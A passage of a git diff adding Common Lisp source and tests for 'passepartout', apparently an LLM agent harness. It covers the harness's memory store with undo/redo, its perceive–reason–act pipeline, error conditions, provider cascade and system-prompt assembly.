passepartout::*memory-store*) + (let ((id (ingest-ast '(:type :HEADLINE :properties (:ID "ingest-test" :TITLE "Test Node") :contents nil)))) + (is (stringp id)) + (is (not (null id))))) + +(test test-memory-object-get + "Contract 3: memory-object-get retrieves an object by ID after ingest." + (clrhash passepartout::*memory-store*) + (let ((id (ingest-ast '(:type :HEADLINE :properties (:ID "get-test" :TITLE "Retrieve Me") :contents nil)))) + (let ((obj (memory-object-get id))) + (is (not (null obj))) + (is (eq :HEADLINE (memory-object-type obj))) + (is (string= "Retrieve Me" (getf (memory-object-attributes obj) :TITLE)))))) + +(test test-snapshot-and-rollback + "Contract 4+5: snapshot-memory saves state; rollback-memory restores it." + (clrhash passepartout::*memory-store*) + (setf passepartout::*memory-snapshots* nil) + (ingest-ast '(:type :HEADLINE :properties (:ID "snap-a" :TITLE "Pre-snapshot") :contents nil)) + (snapshot-memory) + (clrhash passepartout::*memory-store*) + (ingest-ast '(:type :HEADLINE :properties (:ID "snap-b" :TITLE "Post-snapshot") :contents nil)) + (rollback-memory 0) + (is (not (null (memory-object-get "snap-a")))) + (is (null (memory-object-get "snap-b")))) + +(test test-undo-snapshot-restore + "Contract v0.7.2: undo-snapshot captures state, undo restores." + (let ((orig-store passepartout::*memory-store*) + (orig-undo passepartout::*undo-stack*) + (orig-redo passepartout::*redo-stack*)) + (unwind-protect + (progn + (setf passepartout::*memory-store* (make-hash-table :test 'equal) + passepartout::*undo-stack* nil + passepartout::*redo-stack* nil) + (passepartout::undo-snapshot) + (setf (gethash "x" passepartout::*memory-store*) "hello") + (is (string= "hello" (gethash "x" passepartout::*memory-store*))) + (is (passepartout::undo)) + (is (null (gethash "x" passepartout::*memory-store*)))) + (setf passepartout::*memory-store* orig-store + passepartout::*undo-stack* orig-undo + passepartout::*redo-stack* orig-redo)))) + +(test test-undo-redo-cycle + "Contract v0.7.2: redo restores undone state." + (let ((orig-store passepartout::*memory-store*) + (orig-undo passepartout::*undo-stack*) + (orig-redo passepartout::*redo-stack*)) + (unwind-protect + (progn + (setf passepartout::*memory-store* (make-hash-table :test 'equal) + passepartout::*undo-stack* nil + passepartout::*redo-stack* nil) + (passepartout::undo-snapshot) + (setf (gethash "y" passepartout::*memory-store*) "world") + (is (passepartout::undo)) + (is (null (gethash "y" passepartout::*memory-store*))) + (is (passepartout::redo)) + (is (string= "world" (gethash "y" passepartout::*memory-store*)))) + (setf passepartout::*memory-store* orig-store + passepartout::*undo-stack* orig-undo + passepartout::*redo-stack* orig-redo)))) + +(test test-undo-empty-stack-nil + "Contract v0.7.2: undo returns nil on empty stack." + (let ((orig-undo passepartout::*undo-stack*)) + (unwind-protect + (progn (setf passepartout::*undo-stack* nil) + (is (null (passepartout::undo)))) + (setf passepartout::*undo-stack* orig-undo)))) + +(test test-audit-node-found + "Contract v0.7.2: audit-node returns info for existing object." + (clrhash passepartout::*memory-store*) + (setf (gethash "audit-1" passepartout::*memory-store*) + (passepartout::make-memory-object :id "audit-1" :type :HEADLINE + :version 1 :hash "abc123" :scope :memex)) + (let ((info (passepartout::audit-node "audit-1"))) + (is (not (null info))) + (is (eq :HEADLINE (getf info :type))) + (is (string= "abc123" (getf info :hash))))) + +(test test-audit-node-not-found + "Contract v0.7.2: audit-node returns nil for nonexistent id." + (is (null (passepartout::audit-node "nonexistent-xxxx")))) + +(test test-audit-verify-hash + "Contract v0.7.2: audit-verify-hash returns (total . missing)." + (clrhash passepartout::*memory-store*) + (setf (gethash "a" passepartout::*memory-store*) + (passepartout::make-memory-object :id "a" :type :HEADLINE :hash "abc")) + (let ((result (passepartout::audit-verify-hash))) + (is (= 1 (car result))) + (is (= 0 (cdr result))))) diff --git a/lisp/core-package.lisp b/lisp/core-package.lisp new file mode 100644 index 0000000..8d66873 --- /dev/null +++ b/lisp/core-package.lisp @@ -0,0 +1,317 @@ +(defpackage :passepartout + (:use :cl) + (:export + ;; ── Core: Transport & Protocol ── + #:frame-message + #:read-framed-message + #:PROTO-GET + #:proto-get + #:make-hello-message + #:validate-communication-protocol-schema + #:start-daemon + #:register-actuator + #:actuator-initialize + #:action-dispatch + + ;; ── Core: Pipeline ── + #:main + #:log-message + #:*log-buffer* + #:*log-lock* + #:process-signal + #:loop-process + #:perceive-gate + #:loop-gate-perceive + #:act-gate + #:loop-gate-act + #:reason-gate + #:loop-gate-reason + #:cognitive-verify + #:backend-cascade-call + #:json-alist-to-plist + #:stimulus-inject + #:register-probabilistic-backend + #:*probabilistic-backends* + #:*provider-cascade* + + ;; ── Core: Memory ── + #:ingest-ast + #:memory-object-get + #:*memory-store* + #:memory-object + #:make-memory-object + #:memory-object-id + #:memory-object-type + #:memory-object-attributes + #:memory-object-parent-id + #:memory-object-children + #:memory-object-version + #:memory-object-last-sync + #:memory-object-vector + #:memory-object-content + #:memory-object-hash + #:memory-object-scope + #:memory-objects-by-attribute + #:snapshot-memory + #:rollback-memory + #:undo-snapshot + #:undo + #:redo + #:*undo-stack* + #:*redo-stack* + + ;; ── Core: Context & Awareness ── + #:context-get-system-logs + #:context-assemble-global-awareness + #:context-awareness-assemble + #:context-query + #:push-context + #:pop-context + #:current-context + #:current-scope + #:context-stack-depth + #:context-save + #:context-load + #:focus-project + #:focus-session + #:focus-memex + #:unfocus + #:*scope-resolver* + + ;; ── Core: Skills Engine ── + #:skill + #:skill-name + #:skill-priority + #:skill-dependencies + #:skill-trigger-fn + #:skill-probabilistic-prompt + #:skill-deterministic-fn + #:defskill + #:*skill-registry* + #:skill-initialize-all + #:load-skill-from-org + #:lisp-syntax-validate + + ;; ── Core: Cognitive Tools ── + #:def-cognitive-tool + #:*cognitive-tool-registry* + #:cognitive-tool + #:cognitive-tool-name + #:cognitive-tool-description + #:cognitive-tool-parameters + #:cognitive-tool-guard + #:cognitive-tool-body + #:tool-read-only-p + + ;; ── Security: Dispatcher ── + #:dispatcher-check-secret-path + #:dispatcher-check-shell-safety + #:dispatcher-check-privacy-tags + #:dispatcher-check-network-exfil + #:dispatcher-check + #:dispatcher-gate + #:wildcard-match + + ;; ── Security: HITL ── + #:hitl-create + #:hitl-approve + #:hitl-deny + #:hitl-handle-message + + ;; ── Security: Vault & Permissions ── + #:*VAULT-MEMORY* + #:vault-get + #:vault-set + #:vault-get-secret + #:vault-set-secret + #:get-tool-permission + #:set-tool-permission + #:check-tool-permission-gate + #:permission-get + #:permission-set + #:policy-compliance-check + #:validator-protocol-check + + ;; ── Embedding ── + #:*embedding-backend* + #:*embedding-queue* + #:*embedding-provider* + #:embed-queue-object + #:embed-object + #:embed-all-pending + #:embedding-backend-hashing + #:embedding-backend-native + #:embedding-native-load-model + #:embedding-native-unload + #:embedding-native-ensure-loaded + #:embedding-native-get-dim + #:embeddings-compute + #:mark-vector-stale + + ;; ── Channels ── + #:channel-cli-input + #:gateway-start + #:gateway-registry-initialize + #:messaging-link + #:messaging-unlink + #:gateway-configured-p + + ;; ── Programming: Lisp ── + #:lisp-validate + #:lisp-structural-check + #:lisp-syntactic-check + #:lisp-semantic-check + #:lisp-eval + #:lisp-format + #:lisp-list-definitions + #:lisp-extract + #:lisp-inject + #:lisp-slurp + + ;; ── Programming: Org ── + #:org-read-file + #:org-write-file + #:org-headline-add + #:org-headline-find-by-id + #:org-property-set + #:org-todo-set + #:org-id-generate + #:org-id-format + #:org-modify + + ;; ── Programming: Literate & REPL ── + #:literate-tangle-sync-check + #:literate-extract-lisp-blocks + #:literate-block-balance-check + #:repl-eval + #:repl-inspect + #:repl-list-vars + + ;; ── Symbolic ── + #:archivist-create-note + #:archivist-extract-headlines + #:archivist-headline-to-filename + + ;; ── Diagnostics & Config ── + #:diagnostics-run-all + #:diagnostics-main + #:diagnostics-dependencies-check + #:diagnostics-env-check + #:get-oc-config-dir + #:run-setup-wizard + + ;; ── Providers ── + #:register-provider + #:provider-openai-request + #:provider-config + + ;; ── Token Economics ── + #:count-tokens + #:model-token-ratio + #:token-cost + #:provider-token-cost + #:cost-track-call + #:cost-session-total + #:cost-session-calls + #:cost-by-provider + #:cost-session-reset + #:cost-format-budget-status + #:cost-track-backend-call + #:prompt-prefix-cached + #:context-assemble-cached + #:enforce-token-budget + #:token-economics-initialize)) + +(in-package :passepartout) + +(defvar *log-buffer* nil) +(defvar *log-lock* (bordeaux-threads:make-lock "log-messages-lock")) +(defvar *log-limit* 100) + +(defvar *skill-registry* (make-hash-table :test 'equal) + "Global registry of all loaded skills.") + +(defvar *telemetry-table* (make-hash-table :test 'equal)) +(defvar *telemetry-lock* (bordeaux-threads:make-lock "harness-telemetry-lock")) + +(defun telemetry-track (skill-name duration status) + "Updates performance metrics for a skill. STATUS is :success or :rejected." + (when skill-name + (bordeaux-threads:with-lock-held (*telemetry-lock*) + (let ((entry (or (gethash skill-name *telemetry-table*) (list :executions 0 :total-time 0 :failures 0)))) + (incf (getf entry :executions)) + (incf (getf entry :total-time) duration) + (when (eq status :rejected) (incf (getf entry :failures))) + (setf (gethash skill-name *telemetry-table*) entry))))) + +(defvar *cognitive-tool-registry* (make-hash-table :test 'equal)) + +(defstruct cognitive-tool + name + description + parameters + guard + body + read-only-p) + +(defmacro def-cognitive-tool (name description parameters &key guard body read-only-p) + "Registers a cognitive tool. PARAMETERS is a list of plists, one per parameter." + `(setf (gethash (string-downcase (string ',name)) *cognitive-tool-registry*) + (make-cognitive-tool :name (string-downcase (string ',name)) + :description ,description + :parameters ',parameters + :guard ,guard + :body ,body + :read-only-p ,read-only-p))) + +(defun cognitive-tool-prompt () + "Serialises all registered tools into a prompt string for the LLM." + (let ((descriptions nil)) + (maphash (lambda (k tool) + (declare (ignore k)) + (push (format nil "- ~a: ~a~% Parameters: ~a~%" + (cognitive-tool-name tool) + (cognitive-tool-description tool) + (cognitive-tool-parameters tool)) + descriptions)) + *cognitive-tool-registry*) + (if descriptions + (format nil "Available tools:~%~a" (apply #'concatenate 'string (sort descriptions #'string<))) + "No tools registered."))) + +;; Alias: generate-tool-belt-prompt → cognitive-tool-prompt +(defun generate-tool-belt-prompt () + (cognitive-tool-prompt)) + +(defun tool-read-only-p (name) + "Returns T if the named cognitive tool is read-only, NIL otherwise." + (let ((tool (gethash (string-downcase (string name)) *cognitive-tool-registry*))) + (when tool + (cognitive-tool-read-only-p tool)))) + +(defun log-message (msg &rest args) + "Centralized, thread-safe logging for the harness." + (let ((formatted-msg (apply #'format nil msg args))) + (bordeaux-threads:with-lock-held (*log-lock*) + (push formatted-msg *log-buffer*) + (when (> (length *log-buffer*) *log-limit*) + (setq *log-buffer* (subseq *log-buffer* 0 *log-limit*)))) + (format t "~a~%" formatted-msg) + (finish-output))) + +(setf *debugger-hook* (lambda (condition hook) + "Friendly error handler - shows diagnostic message instead of raw debugger." + (declare (ignore hook)) + (format t "~%") + (format t "┌─────────────────────────────────────────────┐~%") + (format t "│ ERROR: ~A~%" (type-of condition)) + (format t "│~%") + (format t "│ Run: passepartout diagnostics~%") + (format t "│ For system diagnostics~%") + (format t "└─────────────────────────────────────────────┘~%") + (format t "~%") + (format t "Details: ~A~%" condition) + (format t "Backtrace:~%") + (sb-debug:print-backtrace :count 20 :stream *standard-output*) + (finish-output) + (uiop:quit 1))) diff --git a/lisp/core-perceive.lisp b/lisp/core-perceive.lisp new file mode 100644 index 0000000..5b20ada --- /dev/null +++ b/lisp/core-perceive.lisp @@ -0,0 +1,159 @@ +(in-package :passepartout) + +(defvar *loop-interrupt* nil) + +(defvar *scope-resolver* nil + "If set, function returning current scope keyword. Used by perceive gate.") + +(defvar *loop-async-sensors* '(:chat-message :delegation :user-command) + "Sensors that are processed in dedicated threads.") + +(defvar *loop-focus-id* nil + "The Org ID of the node the user is currently interacting with.") + +(defvar *pre-reason-handlers* (make-hash-table :test 'eq) + "Pre-reason handler registry: sensor keyword → handler function.") + +(defun register-pre-reason-handler (sensor fn) + "Registers FN to handle signals with SENSOR in the perceive gate. +FN receives (signal) and returns T if consumed, nil to continue." + (setf (gethash sensor *pre-reason-handlers*) fn)) + +(defun stimulus-inject (raw-message &key stream (depth 0)) + "Inject a raw message into the signal processing pipeline." + (let* ((payload (getf raw-message :payload)) + (sensor (getf payload :sensor)) + (meta (getf raw-message :meta)) + (async-p (or (getf payload :async-p) + (member sensor *loop-async-sensors*)))) + + (unless meta + (setf meta (list :SOURCE :SYSTEM :SESSION-ID "internal"))) + + (when stream + (setf (getf meta :reply-stream) stream)) + + (setf (getf raw-message :meta) meta) + (setf (getf raw-message :depth) depth) + + (if async-p + (bt:make-thread + (lambda () + (restart-case (process-signal raw-message) + (skip-event () nil))) + :name "passepartout-async-task") + + (restart-case + (handler-bind ((error (lambda (c) + (log-message "SYSTEM ERROR: ~a" c) + (invoke-restart 'skip-event)))) + (process-signal raw-message)) + (skip-event () + (log-message "SYSTEM RECOVERY: Stimulus dropped.")))))) + +(defun loop-gate-perceive (signal) + "Stage 1 of the metabolic pipeline: Normalize sensory input." + (let* ((payload (getf signal :payload)) + (type (getf signal :type)) + (meta (getf signal :meta)) + (sensor (getf payload :sensor))) + ;; HITL: intercept approval/denial commands before LLM processing + (when (and (eq sensor :user-input) + (stringp (getf payload :text))) + (let ((text (getf payload :text))) + (when (ignore-errors (hitl-handle-message text (getf meta :source))) + (log-message "GATE [Perceive]: HITL command processed — ~a" text) + (return-from loop-gate-perceive signal)))) + ;; Pre-reason handlers: dispatch custom sensors to registered skill handlers + (let ((handler (gethash sensor *pre-reason-handlers*))) + (when handler + (when (funcall handler signal) + (return-from loop-gate-perceive signal)))) + + (log-message "GATE [Perceive]: ~a (~a) [Source: ~s]" + type (or sensor "no-sensor") (getf meta :source)) + + (cond ((eq type :EVENT) + (case sensor + (:buffer-update + (let ((ast (getf payload :ast))) + (when ast + (snapshot-memory) + (ingest-ast ast :scope (if *scope-resolver* (funcall *scope-resolver*) :memex))))) + (:point-update + (let ((element (getf payload :element))) + (when element + (snapshot-memory) + (setf *loop-focus-id* (getf element :id)) + (ingest-ast element :scope (if *scope-resolver* (funcall *scope-resolver*) :memex))))) + (:interrupt + (setf *loop-interrupt* t)) + ;; v0.7.2 undo/redo + (:undo + (log-message "GATE [Perceive]: undo requested") + (undo "perceive")) + (:redo + (log-message "GATE [Perceive]: redo requested") + (redo "perceive")) + ;; HITL: re-injected approved action from dispatcher-approvals-process + (:approval-required + (when (getf payload :approved) + (log-message "GATE [Perceive]: Approved Flight Plan re-injected") + (setf (getf signal :approved) t) + (setf (getf signal :approved-action) (getf payload :action)))) + ;; Default sensor: pass through without requiring user-input processing + (otherwise + (log-message "GATE [Perceive]: Unknown sensor ~a, passing through" sensor)))) + ((eq type :RESPONSE) + (log-message "GATE [Perceive]: Act Result -> ~a" (getf payload :status)))) + + (setf (getf signal :status) :perceived) + (setf (getf signal :foveal-focus) *loop-focus-id*) + signal)) + +(defun perceive-gate (signal) + (loop-gate-perceive signal)) + +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-pipeline-perceive-tests + (:use :cl :fiveam :passepartout) + (:export #:pipeline-perceive-suite)) + +(in-package :passepartout-pipeline-perceive-tests) + +(def-suite pipeline-perceive-suite :description "Test suite for Perceive pipeline") +(in-suite pipeline-perceive-suite) + +(test test-loop-gate-perceive + "Contract 1: :buffer-update ingests AST and sets :perceived status." + (clrhash passepartout::*memory-store*) + (let* ((signal (list :type :EVENT :payload (list :sensor :buffer-update :ast (list :type :HEADLINE :properties (list :ID "test-node" :TITLE "Test") :contents nil)))) + (result (loop-gate-perceive signal))) + (is (eq :perceived (getf result :status))) + (is (not (null (gethash "test-node" passepartout::*memory-store*)))))) + +(test test-depth-limiting + "Edge: depth 11 signals are rejected by the pipeline." + (let ((runaway-signal (list :type :EVENT :depth 11 :payload (list :sensor :heartbeat)))) + (is (null (process-signal runaway-signal))))) + +(test test-loop-gate-perceive-unknown-sensor + "Contract 1: unknown sensors pass through and reach :perceived." + (let* ((signal (list :type :EVENT :depth 0 :payload (list :sensor :custom-metric))) + (result (loop-gate-perceive signal))) + (is (eq :perceived (getf result :status))))) + +(test test-loop-gate-perceive-no-ast + "Contract 1: :buffer-update without AST doesn't crash, reaches :perceived." + (clrhash passepartout::*memory-store*) + (let* ((signal (list :type :EVENT :depth 0 :payload (list :sensor :buffer-update))) + (result (loop-gate-perceive signal))) + (is (eq :perceived (getf result :status))))) + +(test test-depth-limiting-normal + "Contract 1: signals at normal depth pass through without rejection." + (let ((normal-signal (list :type :EVENT :depth 5 :payload (list :sensor :heartbeat)))) + (is (not (eq :rejected (getf normal-signal :status))) + "Signal at normal depth should not be rejected"))) diff --git a/lisp/core-pipeline.lisp b/lisp/core-pipeline.lisp new file mode 100644 index 0000000..18905f3 --- /dev/null +++ b/lisp/core-pipeline.lisp @@ -0,0 +1,235 @@ +(in-package :passepartout) + +(define-condition passepartout-error (error) + ((message :initarg :message :reader error-message)) + (:report (lambda (c s) (format s "Passepartout error: ~a" (error-message c)))) + (:documentation "Root of the pipeline error hierarchy.")) + +(define-condition pipeline-error (passepartout-error) + ((signal :initarg :signal :reader pipeline-error-signal :initform nil)) + (:report (lambda (c s) (format s "Pipeline error: ~a" (error-message c)))) + (:documentation "Any error during the Perceive→Reason→Act cycle.")) + +(define-condition llm-error (pipeline-error) + ((provider :initarg :provider :reader llm-error-provider) + (cascade :initarg :cascade :reader llm-error-cascade :initform nil) + (attempt-count :initarg :attempt-count :reader llm-error-attempt-count :initform 0)) + (:report (lambda (c s) (format s "LLM error (~a): ~a" (llm-error-provider c) (error-message c)))) + (:documentation "LLM provider failure: timeout, cascade exhaustion, or API error.")) + +(define-condition gate-error (pipeline-error) + ((gate-name :initarg :gate-name :reader gate-error-gate-name) + (rejected-action :initarg :rejected-action :reader gate-error-rejected-action)) + (:report (lambda (c s) (format s "Gate ~a blocked action: ~a" (gate-error-gate-name c) (error-message c)))) + (:documentation "Deterministic gate blocked a proposed action.")) + +(define-condition budget-error (pipeline-error) + ((remaining :initarg :remaining :reader budget-error-remaining :initform 0.0) + (requested :initarg :requested :reader budget-error-requested :initform 0.0)) + (:report (lambda (c s) (format s "Budget exhausted: $~,4f remaining, $~,4f requested" (budget-error-remaining c) (budget-error-requested c)))) + (:documentation "Session budget cap has been reached.")) + +(define-condition protocol-error (passepartout-error) + ((raw-message :initarg :raw-message :reader protocol-error-raw-message :initform nil)) + (:report (lambda (c s) (format s "Protocol error: ~a" (error-message c)))) + (:documentation "Malformed message, framing failure, or schema violation.")) + +(defvar *interrupt-flag* nil + "Atomic flag set by signal handlers to trigger graceful shutdown.") + +(defvar *loop-interrupt-lock* (bt:make-lock "harness-interrupt-lock") + "Mutex protecting *interrupt-flag* access.") + +(defvar *heartbeat-thread* nil + "Handle to the heartbeat thread.") + +(defun loop-process (signal) + "The entry point to the Metabolic Pipeline: Perceive -> Reason -> Act." + (let ((current-signal signal)) + (loop while current-signal do + (let ((depth (getf current-signal :depth 0)) + (meta (getf current-signal :meta))) + (when (> depth 10) + (log-message "METABOLISM ERROR: Max recursion depth reached.") + (return nil)) + + (when (bt:with-lock-held (*loop-interrupt-lock*) *interrupt-flag*) + (log-message "METABOLISM: Interrupted by shutdown signal.") + (return nil)) + + (restart-case + (handler-bind + ((pipeline-error (lambda (c) + (log-message "PIPELINE ERROR: ~a" (error-message c))))) + (handler-case + (progn + (setf current-signal (perceive-gate current-signal)) + (setf current-signal (reason-gate current-signal)) + (let ((feedback (act-gate current-signal))) + (if feedback + (progn + (unless (getf feedback :meta) (setf (getf feedback :meta) meta)) + (setf current-signal feedback)) + (setf current-signal nil)))) + (error (c) + (let ((sensor (ignore-errors (getf (getf current-signal :payload) :sensor)))) + (log-message "METABOLISM CRASH [~a]: ~a" (or sensor :unknown) c) + (unless (member sensor '(:loop-error :tool-error :syntax-error)) + (log-message "CRITICAL ERROR: Initiating Micro-Rollback.") + (rollback-memory 0)) + (if (or (> depth 2) (member sensor '(:loop-error :tool-error))) + (setf current-signal nil) + (setf current-signal + (list :type :EVENT :depth (1+ depth) :meta meta + :payload (list :sensor :loop-error :message (format nil "~a" c) :depth depth)))))))) + (skip-signal () + :report "Drop the current signal and continue the loop." + (setf current-signal nil)) + (use-fallback (text) + :report "Inject a canned response instead of the LLM result." + (setf current-signal + (list :type :EVENT :depth (1+ depth) :meta meta + :payload (list :sensor :loop-error :message text :depth depth)))) + (abort-pipeline () + :report "Terminate the cognitive cycle cleanly." + (return nil))))))) + +(defun process-signal (signal) + (loop-process signal)) + +(defvar *memory-auto-save-interval* 300) + +(defvar *heartbeat-save-counter* 0) + +(defun heartbeat-start () + "Starts the background heartbeat thread." + (let ((interval (or (ignore-errors (parse-integer (uiop:getenv "HEARTBEAT_INTERVAL"))) 60)) + (auto-save (or (ignore-errors (parse-integer (uiop:getenv "MEMORY_AUTO_SAVE_INTERVAL"))) *memory-auto-save-interval*))) + (setf *memory-auto-save-interval* auto-save) + (setf *heartbeat-save-counter* 0) + + (setf *heartbeat-thread* + (bt:make-thread + (lambda () + (loop + (sleep interval) + (incf *heartbeat-save-counter*) + (when (>= *heartbeat-save-counter* (/ *memory-auto-save-interval* interval)) + (setf *heartbeat-save-counter* 0) + (save-memory-to-disk)) + (stimulus-inject + (list :type :EVENT :payload (list :sensor :heartbeat :unix-time (get-universal-time)))))) + :name "passepartout-heartbeat")))) + +(defvar *shutdown-save-enabled* t) + +(defvar *system-health* :unknown + "Current system health status: :healthy, :degraded, :unhealthy, or :unknown.") + +(defvar *health-check-ran* nil + "Flag indicating if initial health check has completed.") + +(defun diagnostics-startup-run () + "Runs the doctor diagnostics on startup. Returns health status." + (format t "~%") + (format t "==================================================~%") + (format t " DOCTOR: Running Startup Health Check~%") + (format t "==================================================~%") + (handler-case + (progn + (when (fboundp 'diagnostics-run-all) + (let ((result (diagnostics-run-all :auto-install nil))) + (setf *health-check-ran* t) + (if result + (progn + (setf *system-health* :healthy) + (format t "DAEMON: Health check passed. Starting services.~%")) + (progn + (setf *system-health* :degraded) + (format t "DAEMON: Health check found issues.~%") + (format t " Run 'passepartout diagnostics' to repair.~%"))))) + (setf *health-check-ran* t)) + (error (c) + (format t "DIAGNOSTICS ERROR: ~a~%" c) + (setf *system-health* :unhealthy) + (setf *health-check-ran* t))) + (format t "==================================================~%~%")) + +(defun main () + "Entry point for Passepartout. Initializes the system and enters idle loop." + (let* ((home (uiop:getenv "HOME")) + (env-file (uiop:merge-pathnames* ".config/passepartout/.env" (uiop:ensure-directory-pathname home)))) + (when (uiop:file-exists-p env-file) + (cl-dotenv:load-env env-file))) + + (load-memory-from-disk) + (actuator-initialize) + (skill-initialize-all) + + ;; Run proactive diagnostics before starting services + (diagnostics-startup-run) + + (when (fboundp 'events-start-heartbeat) + (events-start-heartbeat)) + (handler-case (start-daemon) + (error (c) + (log-message "DAEMON: Failed to start — ~a" c) + (format *error-output* "~&DAEMON: Failed to start — ~a~%" c))) + + #+sbcl + (sb-sys:enable-interrupt sb-unix:sigint + (lambda (sig code scp) + (declare (ignore sig code scp)) + (log-message "SHUTDOWN: SIGINT received. Saving memory...") + (when *shutdown-save-enabled* (save-memory-to-disk)) + (uiop:quit 0))) + + (let ((sleep-interval (or (ignore-errors (parse-integer (uiop:getenv "DAEMON_SLEEP_INTERVAL"))) 3600))) + (loop + (when (bt:with-lock-held (*loop-interrupt-lock*) *interrupt-flag*) + (log-message "SHUTDOWN: Interrupt flag set. Saving memory...") + (when *shutdown-save-enabled* (save-memory-to-disk)) + (return)) + (sleep sleep-interval)))) + +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-immune-system-tests + (:use :cl :fiveam :passepartout) + (:export #:immune-suite)) + +(in-package :passepartout-immune-system-tests) + +(def-suite immune-suite :description "Verification of the Immune System (Core Error Hooks)") +(in-suite immune-suite) + +(test loop-error-injection + "Contract 1: a crash in think/decide triggers :loop-error stimulus." + (clrhash passepartout::*skill-registry*) + (passepartout:defskill :evil-skill + :priority 100 + :trigger (lambda (ctx) (eq (getf (getf ctx :payload) :sensor) :user-input)) + :probabilistic (lambda (ctx) (declare (ignore ctx)) (error "CRITICAL BRAIN FAILURE")) + :deterministic nil) + (passepartout:loop-process '(:type :EVENT :payload (:sensor :user-input))) + (let ((logs (if (fboundp 'passepartout::context-get-system-logs) + (passepartout:context-get-system-logs 20) + nil))) + (is (or (null logs) ; no log service available — degraded but not broken + (not (null (find-if (lambda (line) (search "CRITICAL BRAIN FAILURE" line)) logs))))))) + +(test test-process-signal-normal-path + "Contract 1: a valid signal passes through the pipeline without crash." + (clrhash passepartout::*skill-registry*) + (handler-case + (let ((signal (list :type :EVENT :depth 0 :payload (list :sensor :heartbeat)))) + (process-signal signal) + (pass)) + (error (c) + (fail "Pipeline crashed on normal signal: ~a" c)))) + +(test test-loop-process-returns-nil-on-deep + "Contract 1: depth > 10 returns nil from loop-process." + (let ((result (loop-process '(:type :EVENT :depth 11 :payload (:sensor :heartbeat))))) + (is (null result)))) diff --git a/lisp/core-reason.lisp b/lisp/core-reason.lisp new file mode 100644 index 0000000..74f39f0 --- /dev/null +++ b/lisp/core-reason.lisp @@ -0,0 +1,508 @@ +(in-package :passepartout) + +(defvar *probabilistic-backends* (make-hash-table :test 'equal) + "Maps provider keyword → handler function (prompt system-prompt &key model).") + +(defun register-probabilistic-backend (name fn) + "Register FN as the handler for provider NAME." + (setf (gethash name *probabilistic-backends*) fn)) + +(defvar *provider-cascade* nil) + +(defvar *model-selector* nil) + +(defvar *consensus-enabled* nil) + +(defun backend-cascade-call (prompt &key + (system-prompt "You are the Probabilistic engine.") + (cascade nil) + (context nil) + tools) + (let ((backends (or cascade *provider-cascade*)) + (result nil)) + (dolist (backend backends (or result + (list :type :LOG + :payload (list :text "Neural Cascade Failure: All providers exhausted.")))) + (let ((backend-fn (gethash backend *probabilistic-backends*))) + (when backend-fn + (log-message "PROBABILISTIC: Attempting backend ~a..." backend) + (let* ((model (and *model-selector* + (funcall *model-selector* backend context))) + (skip (eq model :skip)) + (r (unless skip + (apply backend-fn + (append (list prompt system-prompt :model model) + (when tools (list :tools tools))))))) + (when skip + (log-message "PROBABILISTIC: Skipping ~a (filtered)" backend)) + (cond ((and (listp r) (eq (getf r :status) :success)) + (let ((tool-calls (getf r :tool-calls))) + (if tool-calls + (return (list :status :success :tool-calls tool-calls)) + (progn + (setf result (getf r :content)) + (return result))))) + ((stringp r) + (setf result r) + (return result)) + (t + (log-message "PROBABILISTIC: Backend ~a failed: ~a" + backend (getf r :message)))))))))) + +(defun markdown-strip (text) + (if (and text (stringp text)) + (let ((cleaned text)) + (setf cleaned (cl-ppcre:regex-replace-all "^```[a-z]*\\n" cleaned "")) + (setf cleaned (cl-ppcre:regex-replace-all "\\n```$" cleaned "")) + (setf cleaned (cl-ppcre:regex-replace-all "```" cleaned "")) + (string-trim '(#\Space #\Newline #\Tab) cleaned)) + text)) + +(defun plist-keywords-normalize (plist) + (when (listp plist) + (loop for (k v) on plist by #'cddr + collect (if (and (symbolp k) (not (keywordp k))) + (intern (string k) :keyword) + k) + collect v))) + +;; v0.7.2: live config section for system prompt +(defun assemble-config-section () + "Build the CONFIG section of the system prompt from live state." + (let ((provider-names "") + (context-window (if (and (boundp '*tokenizer-provider*) (fboundp 'tokenizer-context-limit)) + (tokenizer-context-limit (symbol-value '*tokenizer-provider*)) + 8192)) + (gate-count 10) + (rules-count 0)) + (when (boundp '*provider-cascade*) + (setf provider-names + (format nil "~{~a~^, ~}" + (mapcar (lambda (p) + (handler-case (or (getf p :model) (getf p :provider) "") + (error () (princ-to-string p)))) + (symbol-value '*provider-cascade*))))) + (when (boundp '*hitl-pending*) + (setf rules-count (hash-table-count (symbol-value '*hitl-pending*)))) + (format nil "CONFIG: You are Passepartout v0.7.2. Provider: ~a. Context: ~d tokens. Security gates: ~d active. Rules learned: ~d. Documentation: USER_MANUAL.org." + (if (string= provider-names "") "default" provider-names) + context-window gate-count rules-count))) + +(defun think-assemble-prompt (context) + "Phase 2-3 of the metabolic cycle: context + system prompt assembly. +Returns three values: system-prompt, raw-prompt, reply-stream." + (let* ((sensor (proto-get (proto-get context :payload) :sensor)) + (active-skill (find-triggered-skill context)) + (tool-belt (generate-tool-belt-prompt)) + (reply-stream (proto-get context :reply-stream)) + (global-context (if (fboundp 'context-assemble-cached) + (context-assemble-cached context sensor) + (if (fboundp 'context-assemble-global-awareness) + (context-assemble-global-awareness) + "[Awareness skill not loaded]"))) + (system-logs (if (fboundp 'context-get-system-logs) + (context-get-system-logs) + "[No system logs available]")) + (assistant-name (or (uiop:getenv "MEMEX_ASSISTANT") "Agent")) + (rejection-trace (proto-get (proto-get context :payload) :rejection-trace)) + (prompt-generator (when active-skill (skill-probabilistic-prompt active-skill))) + (raw-prompt (if prompt-generator + (funcall prompt-generator context) + (let ((p (proto-get (proto-get context :payload) :text))) + (if (and p (stringp p)) p "Maintain metabolic stasis.")))) + (reflection-feedback (if rejection-trace + (format nil "~%~%PREVIOUS PROPOSAL REJECTED: ~a" rejection-trace) + "")) + (standing-mandates-text (let ((out "")) + (dolist (fn *standing-mandates*) + (let ((text (ignore-errors (funcall fn context)))) + (when (and text (stringp text) (> (length text) 0)) + (setf out (concatenate 'string out text (string #\Newline)))))) + (when (> (length out) 0) out))) + (identity-content (if (fboundp 'agent-identity) + (agent-identity) + "")) + (config-section (if (fboundp 'assemble-config-section) + (assemble-config-section) + "")) + (time-section (if (fboundp 'sensor-time-duration) + (format-time-for-llm + :session-duration-seconds (funcall (symbol-function 'session-duration))) + (if (fboundp 'format-time-for-llm) + (format-time-for-llm) + ""))) + (system-prompt (if (fboundp 'prompt-prefix-cached) + (let* ((prefix (prompt-prefix-cached assistant-name identity-content + reflection-feedback + standing-mandates-text 